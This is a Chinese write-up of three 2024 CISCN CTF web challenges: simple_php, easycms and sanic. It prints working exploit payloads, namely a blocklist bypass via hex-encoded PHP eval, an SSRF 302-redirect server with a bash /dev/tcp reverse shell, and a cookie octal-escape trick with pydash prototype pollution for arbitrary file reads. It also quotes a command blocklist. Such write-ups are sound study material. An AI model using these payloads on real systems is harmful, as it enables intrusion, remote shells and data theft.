2024CISCN web方向题目复现与知识点梳理

1.simple_php

非常狗的一道题
先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

通过post方式传入cmd参数与题目环境交互。
传入的cmd被套了一层escapeshellcmd函数后赋值给cmd,接着进行一个黑名单过滤。非常全面的一个黑名单…几乎把所有能用的都过滤掉了。最后执行cmd的命令。


很简单的代码逻辑,难处在于如何绕过这两次过滤。
先来看第一层过滤:escapeshellcmd

1
escapeshellcmd(string $command): string

传入一个字符串参数,返回一个字符串参数。这是一个php自带的防止命令注入的函数,php文档对其的解释如下:

“反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。”

这也就导致这题难以通过特殊符号相关的方法来绕过黑名单,比如亦或的无符号rce等待。

下面的正则匹配就比较简单了。就是屏蔽了一些关键字。目前笔者发现还能用的命令有: man,diff,php,rev,paste,dd if=

其中除了php以外都只能读取文件,diff命令比较好用的一点-r是他可以比较子目录中的文件。不过比较一番也没有找到。只能试着用php命令去连接数据可试试了。这里给出php命令的解释和使用方式。

>-r 执行代码,无需脚本标记 
>-f 执行文件

个人感觉比较常用的以上两个选项。这里可以用php -r来执行代码。
测试php -r phpinfo();发现可以跑通

img1

但是如果使用system执行系统命令,还是会被上面的黑名单过滤,(甚至连引号都过滤掉了)因此使用hex2bin函数来进行绕过。hex2bin可以把输入的十六进制ascii码转换为字符串。这里先给出payload再做解释

1
php -r eval(hex2bin(substr(_hex,1)));

eval就不做解释了。这里主要解释为什么hex2bin里面要套一个substr。substr()函数输入三个参数:string,start,length。分别是待处理的字符串,开始位置,截取长度。第三个参数可以缺省,即输出从开始位置到结束的所有字符串。

这里调用这个函数的主要目的是:在没有但双引号的情况下,构造字符串。因为hex2bin的输入要求是引号包裹的字符串,但这里把引号ban了,就要用到substr了。substr允许输入没有引号包裹的字符串,并且输出一个字符串。这也就是说我们可以借用substr来实现无引号字符串的构建。测试一下whoami,发现正常回显,呢么接下来就是无聊的查库时间了。

img1

这个地方没啥技术含量,直接给出最终payload:

1
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

easycms

这个题真是必须要看到hint才知道怎么做,hint提示flag.php的代码:

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

这个地方 REMOTE_ADDR 是没办法通过文件头伪造的。那就只能试一试ssrf了。

这道题ssrf的思路是这样:通过一个借口来访问一个恶意服务器,恶意服务器302将请求跳转到访问者本地的flag.php来通过 REMOTE_ADDR 的检测。

github上找一下源码,审计一下(其实这里有已经纰漏的漏洞,但是当时没找到,只能审了)搜了一下ssrf出发漏洞的常见函数,里面有一个file_get_contents()。找一下这个函数参数可控的地方。找到了如下代码:

img3

继续寻找这个函数参数可控的地方:

img4

这个地方的url是get方法传入的,很有戏。继续找,最终找到了这个地方:

1
2
3
function dr_qrcode($text, $thumb = '', $level = 'H', $size = 5) {
return ROOT_URL.'index.php?s=api&c=api&m=qrcode&thumb='.urlencode($thumb).'&text='.urlencode($text).'&size='.$size.'&level='.$level;
}

那么理论上讲访问这个url,控制下thumb的值就可以访问到咱们的恶意服务器了。在服务器上部署一个302跳转站,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask,redirect,request,send_file
from urllib.parse import quote
app = Flask(__name__)


@app.route('/')
def index():
cmd= "cmd"
return redirect("http://127.0.0.1/flag.php?cmd="+cmd)

if __name__ == '__main__':
app.run("0.0.0.0",80)

不熟之后本地访问一下,跳转到flag.php就说明已经成功部署了。这也就不难理解为什么这个服务可以通过flag.php的检测了。由于没有回显,需要弹一下shell。

这里用到弹shell的姿势如下:

quote(“bash -c ‘{echo,base64_str}|{base64,-d}|{bash,-i}’”)

其中,base64_str加密的内容如下:

bash -i >& /dev/tcp/ip/port 0>&1

接着按照上面的url访问/index.php?s=api&c=api&m=qrcode&thumb=http://vps:port&&text=foo&size=1&level=1即可

sanic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
#将user赋值为cookie中的user
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
#如果user为'adm;n'就把session中的admin项赋值为true
#但问题是,cookie中的分号会被视为两个值之间的分割
#这是第一个要解决的问题
return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())
#成功登陆后可以污染这里的file文件来达到任意文件读取


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

第一个问题比较好解决,翻阅github中sanic的源码可以发现,在处理cookie部分,sanic会将cookie中的八进制进行解码,根据这一特性,将cookie赋值为

1
user=adm\073n

即可

下一个问题是python原型链污染的问题,这里准确的说是一个pydash的原型链污染问题。源代码中的

1
pydash.set_(pollute, key, value)

存在原型链污染的风险。这里直接对key传入__class__.__init__.__globals__.__file__就可以操控代码中的file变量实现任意文件读取。

但是在源代码中过滤了._,这里需要做一下绕过。跟进一下相应版本的pydash源码,会发现可以通过\\.来当作.使用,这样就可以做到任意文件读取。

至此的难度都还在笔者的预料之内,但是由于不知道flag文件名称,还要通过挖掘pydash源码中的链子来进行列目录。这里直接放一个gxn师傅的博客,就不再详细写了,太难了qaq

https://www.cnblogs.com/gxngxngxn/p/18205235